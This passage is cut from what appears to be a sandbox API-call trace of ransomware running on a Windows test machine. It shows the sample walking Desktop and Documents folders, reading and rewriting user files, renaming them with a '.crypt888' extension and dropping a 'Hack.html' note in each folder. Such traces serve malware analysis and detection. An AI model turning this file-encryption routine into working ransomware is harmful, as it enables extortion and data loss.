HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a.crypt888", lpFilePart=0x0) returned 0x65 [0080.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.676] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\0s9owwy8ov8doyvk8t.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18360480, ftCreationTime.dwHighDateTime=0x1d46015, ftLastAccessTime.dwLowDateTime=0x353b7c10, ftLastAccessTime.dwHighDateTime=0x1d4627a, ftLastWriteTime.dwLowDateTime=0xc148d0e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x153d0)) returned 1 [0080.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\0s9owwy8ov8doyvk8t.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\0S9OwWY8ov8DOyVK8T.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\0s9owwy8ov8doyvk8t.m4a.crypt888")) returned 1 [0080.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", lpFilePart=0x0) returned 0x53 [0080.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\lmevkr3o.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.678] GetFileType (hFile=0x174) returned 0x1 [0080.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.678] GetFileType (hFile=0x174) returned 0x1 [0080.678] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x4e86 [0080.678] ReadFile (in: hFile=0x174, lpBuffer=0x2742a00, nNumberOfBytesToRead=0x4e86, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2742a00*, lpNumberOfBytesRead=0x39ecf0*=0x4e86, lpOverlapped=0x0) returned 1 [0080.679] CloseHandle (hObject=0x174) returned 1 [0080.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", lpFilePart=0x0) returned 0x53 [0080.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\lmevkr3o.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.702] GetFileType (hFile=0x174) returned 0x1 [0080.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.703] GetFileType (hFile=0x174) returned 0x1 [0080.703] WriteFile (in: hFile=0x174, lpBuffer=0x27a8098*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27a8098*, lpNumberOfBytesWritten=0x39ece0*=0x4e90, lpOverlapped=0x0) returned 1 [0080.704] CloseHandle (hObject=0x174) returned 1 [0080.705] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx", lpFilePart=0x0) returned 0x53 [0080.705] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx.crypt888", lpFilePart=0x0) returned 0x5c [0080.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\lmevkr3o.docx"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a721b0, ftCreationTime.dwHighDateTime=0x1d456d3, ftLastAccessTime.dwLowDateTime=0x2d1e8f70, ftLastAccessTime.dwHighDateTime=0x1d45d63, ftLastWriteTime.dwLowDateTime=0xc14d93a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4e90)) returned 1 [0080.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.706] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\lmevkr3o.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\LMevkR3O.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\lmevkr3o.docx.crypt888")) returned 1 [0080.707] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\Hack.html", lpFilePart=0x0) returned 0x4f [0080.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0080.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\TQVwWNR9W9H-SmhLIgu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\tqvwwnr9w9h-smhligu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.708] GetFileType (hFile=0x174) returned 0x1 [0080.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0080.708] GetFileType (hFile=0x174) returned 0x1 [0080.708] WriteFile (in: hFile=0x174, lpBuffer=0x27aeafc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27aeafc*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0080.709] CloseHandle (hObject=0x174) returned 1 [0080.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj", lpFilePart=0x0) returned 0x40 [0080.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\", lpFilePart=0x0) returned 0x41 [0080.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0080.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.711] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0080.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj", lpFilePart=0x0) returned 0x40 [0080.712] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\", lpFilePart=0x0) returned 0x41 [0080.712] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0080.714] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.715] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.715] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.715] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0080.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.715] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", lpFilePart=0x0) returned 0x4d [0080.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0080.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\pckvq_eb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.716] GetFileType (hFile=0x174) returned 0x1 [0080.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0080.716] GetFileType (hFile=0x174) returned 0x1 [0080.716] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x32f7 [0080.716] ReadFile (in: hFile=0x174, lpBuffer=0x27b170c, nNumberOfBytesToRead=0x32f7, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27b170c*, lpNumberOfBytesRead=0x39ecf0*=0x32f7, lpOverlapped=0x0) returned 1 [0080.717] CloseHandle (hObject=0x174) returned 1 [0080.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", lpFilePart=0x0) returned 0x4d [0080.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0080.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\pckvq_eb.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.740] GetFileType (hFile=0x174) returned 0x1 [0080.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0080.740] GetFileType (hFile=0x174) returned 0x1 [0080.740] WriteFile (in: hFile=0x174, lpBuffer=0x280e3d4*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x280e3d4*, lpNumberOfBytesWritten=0x39ece0*=0x3300, lpOverlapped=0x0) returned 1 [0080.743] CloseHandle (hObject=0x174) returned 1 [0080.749] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4", lpFilePart=0x0) returned 0x4d [0080.749] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4.crypt888", lpFilePart=0x0) returned 0x56 [0080.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0080.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\pckvq_eb.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26b3fa0, ftCreationTime.dwHighDateTime=0x1d4587c, ftLastAccessTime.dwLowDateTime=0x2d3d58b0, ftLastAccessTime.dwHighDateTime=0x1d4589a, ftLastWriteTime.dwLowDateTime=0xc154b7c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3300)) returned 1 [0080.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0080.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\pckvq_eb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\pCkvQ_Eb.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\pckvq_eb.mp4.crypt888")) returned 1 [0080.751] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\Hack.html", lpFilePart=0x0) returned 0x4a [0080.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0080.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\YdRS9FdGcFEFmj\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\ydrs9fdgcfefmj\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.752] GetFileType (hFile=0x174) returned 0x1 [0080.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0080.752] GetFileType (hFile=0x174) returned 0x1 [0080.752] WriteFile (in: hFile=0x174, lpBuffer=0x2813250*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2813250*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0080.753] CloseHandle (hObject=0x174) returned 1 [0080.754] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Hack.html", lpFilePart=0x0) returned 0x3b [0080.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0080.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.754] GetFileType (hFile=0x174) returned 0x1 [0080.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0080.755] GetFileType (hFile=0x174) returned 0x1 [0080.755] WriteFile (in: hFile=0x174, lpBuffer=0x2815a40*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2815a40*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0080.756] CloseHandle (hObject=0x174) returned 1 [0080.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x2f [0080.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0080.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.757] GetFileType (hFile=0x174) returned 0x1 [0080.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0080.757] GetFileType (hFile=0x174) returned 0x1 [0080.758] WriteFile (in: hFile=0x174, lpBuffer=0x2818200*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2818200*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0080.759] CloseHandle (hObject=0x174) returned 1 [0080.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0080.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28 [0080.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0080.760] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.766] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.766] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.766] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.766] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0080.766] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0080.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0080.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) 